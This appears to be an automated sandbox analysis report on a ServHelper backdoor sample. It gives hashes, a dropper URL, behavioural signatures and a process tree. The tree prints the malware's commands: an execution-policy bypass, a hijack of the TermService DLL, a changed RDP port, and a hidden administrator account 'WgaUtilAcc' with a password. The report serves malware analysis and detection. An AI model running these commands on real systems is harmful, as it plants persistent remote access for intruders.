Analysis
- max time kernel
143s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
10/04/2024, 13:01
Behavioral task
behavioral1
Sample
a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41.exe
Resource
win7-20240319-en
21 signatures
150 seconds
Behavioral task
behavioral2
Sample
a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41.exe
Resource
win10v2004-20240226-en
23 signatures
150 seconds
General
- Target a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41.exe
- Size 6.8MB
- Sample240410-p896wsbf91
- SHA256 a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41
- MD5 d088405edcf61c7fb54b260bc6315a31
- SHA1 997f482fcca4cc5704bb0bf8b47132dd34aa0a37
- SHA512 1bc794a0c84525d67b8a3aecdd4544942cced8996f0b04fa8da1649a14fdd746638ba87b850c3046a3e82c1a455c2168802fe85b45b86436ca2515885e7bb86c
- SSDEEP 98304:q7WKfdq7RyQdh/ha7TTOzAElMLmZ7oo8kTApKGaRqc4O1XujlqScYEYrsG3AH:qCUdcRwfTTLmxoQT7RRq4ujltcYN9w
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
- ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 7 IoCs
flow pid Process 30 4400 powershell.exe 34 4400 powershell.exe 39 4400 powershell.exe 44 4400 powershell.exe 48 4400 powershell.exe 50 4400 powershell.exe 52 4400 powershell.exe - Modifies RDP port number used by Windows 1 TTPs
- Possible privilege escalation attempt 8 IoCs
pid Process 4224 icacls.exe 3040 takeown.exe 2416 icacls.exe 2604 icacls.exe 2768 icacls.exe 2412 icacls.exe 1692 icacls.exe 3932 icacls.exe - Sets DLL path for service in the registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" reg.exe - Loads dropped DLL 2 IoCs
pid Process 3944 Process not Found 3944 Process not Found - Modifies file permissions 1 TTPs 8 IoCs
pid Process 2412 icacls.exe 1692 icacls.exe 3932 icacls.exe 4224 icacls.exe 3040 takeown.exe 2416 icacls.exe 2604 icacls.exe 2768 icacls.exe -
resource yara_rule behavioral2/files/0x001200000002321c-111.dat upx behavioral2/files/0x000800000002321d-112.dat upx -
resource yara_rule behavioral2/memory/228-0-0x00000000004A0000-0x00000000012F7000-memory.dmp vmprotect - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 29 raw.githubusercontent.com 30 raw.githubusercontent.com - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe - Drops file in Windows directory 18 IoCs
description ioc Process File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\shellbrd powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_c2z52ar4.ysr.ps1 powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIE416.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIE467.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIE497.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIE456.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIE487.tmp powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_exndczye.1dq.psm1 powershell.exe File created C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4300 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag," powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 1da5a46f0069da01 powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\ powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 2212 reg.exe - Runs net.exe
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc stream HTTP User-Agent header 34 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 39 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 1 - Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 1828 powershell.exe 1828 powershell.exe 3180 powershell.exe 3180 powershell.exe 4768 powershell.exe 4768 powershell.exe 4768 powershell.exe 1144 powershell.exe 1144 powershell.exe 1144 powershell.exe 1828 powershell.exe 1828 powershell.exe 1828 powershell.exe 4400 powershell.exe 4400 powershell.exe 4400 powershell.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1828 powershell.exe Token: SeDebugPrivilege 3180 powershell.exe Token: SeDebugPrivilege 4768 powershell.exe Token: SeDebugPrivilege 1144 powershell.exe Token: SeRestorePrivilege 2604 icacls.exe Token: SeAssignPrimaryTokenPrivilege 4300 WMIC.exe Token: SeIncreaseQuotaPrivilege 4300 WMIC.exe Token: SeAuditPrivilege 4300 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 4300 WMIC.exe Token: SeIncreaseQuotaPrivilege 4300 WMIC.exe Token: SeAuditPrivilege 4300 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 432 WMIC.exe Token: SeIncreaseQuotaPrivilege 432 WMIC.exe Token: SeAuditPrivilege 432 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 432 WMIC.exe Token: SeIncreaseQuotaPrivilege 432 WMIC.exe Token: SeAuditPrivilege 432 WMIC.exe Token: SeDebugPrivilege 4400 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 228 wrote to memory of 1828 228 a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41.exe 92 PID 228 wrote to memory of 1828 228 a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41.exe 92 PID 1828 wrote to memory of 3352 1828 powershell.exe 94 PID 1828 wrote to memory of 3352 1828 powershell.exe 94 PID 3352 wrote to memory of 4740 3352 csc.exe 95 PID 3352 wrote to memory of 4740 3352 csc.exe 95 PID 1828 wrote to memory of 3180 1828 powershell.exe 97 PID 1828 wrote to memory of 3180 1828 powershell.exe 97 PID 1828 wrote to memory of 4768 1828 powershell.exe 101 PID 1828 wrote to memory of 4768 1828 powershell.exe 101 PID 1828 wrote to memory of 1144 1828 powershell.exe 103 PID 1828 wrote to memory of 1144 1828 powershell.exe 103 PID 1828 wrote to memory of 3040 1828 powershell.exe 105 PID 1828 wrote to memory of 3040 1828 powershell.exe 105 PID 1828 wrote to memory of 2416 1828 powershell.exe 106 PID 1828 wrote to memory of 2416 1828 powershell.exe 106 PID 1828 wrote to memory of 2604 1828 powershell.exe 107 PID 1828 wrote to memory of 2604 1828 powershell.exe 107 PID 1828 wrote to memory of 2768 1828 powershell.exe 108 PID 1828 wrote to memory of 2768 1828 powershell.exe 108 PID 1828 wrote to memory of 2412 1828 powershell.exe 109 PID 1828 wrote to memory of 2412 1828 powershell.exe 109 PID 1828 wrote to memory of 1692 1828 powershell.exe 110 PID 1828 wrote to memory of 1692 1828 powershell.exe 110 PID 1828 wrote to memory of 3932 1828 powershell.exe 111 PID 1828 wrote to memory of 3932 1828 powershell.exe 111 PID 1828 wrote to memory of 4224 1828 powershell.exe 112 PID 1828 wrote to memory of 4224 1828 powershell.exe 112 PID 1828 wrote to memory of 2560 1828 powershell.exe 113 PID 1828 wrote to memory of 2560 1828 powershell.exe 113 PID 1828 wrote to memory of 2212 1828 powershell.exe 114 PID 1828 wrote to memory of 2212 1828 powershell.exe 114 PID 1828 wrote to memory of 1228 1828 powershell.exe 115 PID 1828 wrote to memory of 1228 1828 powershell.exe 115 PID 1828 wrote to memory of 3344 1828 powershell.exe 116 PID 1828 wrote to memory of 3344 1828 powershell.exe 116 PID 3344 wrote to memory of 2312 3344 net.exe 117 PID 3344 wrote to memory of 2312 3344 net.exe 117 PID 1828 wrote to memory of 5056 1828 powershell.exe 118 PID 1828 wrote to memory of 5056 1828 powershell.exe 118 PID 5056 wrote to memory of 1996 5056 cmd.exe 119 PID 5056 wrote to memory of 1996 5056 cmd.exe 119 PID 1996 wrote to memory of 2804 1996 cmd.exe 120 PID 1996 wrote to memory of 2804 1996 cmd.exe 120 PID 2804 wrote to memory of 4740 2804 net.exe 121 PID 2804 wrote to memory of 4740 2804 net.exe 121 PID 1828 wrote to memory of 5096 1828 powershell.exe 122 PID 1828 wrote to memory of 5096 1828 powershell.exe 122 PID 5096 wrote to memory of 3052 5096 cmd.exe 123 PID 5096 wrote to memory of 3052 5096 cmd.exe 123 PID 3052 wrote to memory of 1184 3052 cmd.exe 124 PID 3052 wrote to memory of 1184 3052 cmd.exe 124 PID 1184 wrote to memory of 2536 1184 net.exe 125 PID 1184 wrote to memory of 2536 1184 net.exe 125 PID 1476 wrote to memory of 3576 1476 cmd.exe 129 PID 1476 wrote to memory of 3576 1476 cmd.exe 129 PID 3576 wrote to memory of 2276 3576 net.exe 130 PID 3576 wrote to memory of 2276 3576 net.exe 130 PID 3784 wrote to memory of 3752 3784 cmd.exe 133 PID 3784 wrote to memory of 3752 3784 cmd.exe 133 PID 3752 wrote to memory of 5008 3752 net.exe 134 PID 3752 wrote to memory of 5008 3752 net.exe 134 PID 2408 wrote to memory of 2932 2408 cmd.exe 137 PID 2408 wrote to memory of 2932 2408 cmd.exe 137
Processes
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C:\Users\Admin\AppData\Local\Temp\a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41.exe"C:\Users\Admin\AppData\Local\Temp\a09dcec94458d1970ded54ec374167cd227fea6ff4b56effa1755926d7bd5f41.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:228 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0qffd0uq\0qffd0uq.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:3352 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES94CE.tmp" "c:\Users\Admin\AppData\Local\Temp\0qffd0uq\CSCC28D76AEF0B9439CA13729E6FCF9B6F.TMP"4⤵PID:4740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4768
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1144
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3040
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2416
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2604
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2768
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2412
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1692
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3932
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4224
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:2560
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:2212
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1228
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:3344 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2312
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:4740
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:2536
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:5108
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:4896
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Ghasar4f5 /del1⤵
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc Ghasar4f5 /del2⤵
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del3⤵PID:2276
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc UbkT2IKN /add1⤵
- Suspicious use of WriteProcessMemory
PID:3784 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc UbkT2IKN /add2⤵
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc UbkT2IKN /add3⤵PID:5008
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:2408 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:2932
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1436
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MKDQUQPQ$ /ADD1⤵PID:5108
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MKDQUQPQ$ /ADD2⤵PID:2460
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MKDQUQPQ$ /ADD3⤵PID:4016
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1512
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:2328
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:4996
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc UbkT2IKN1⤵PID:1832
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc UbkT2IKN2⤵PID:5004
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc UbkT2IKN3⤵PID:3792
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:3180
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:4300
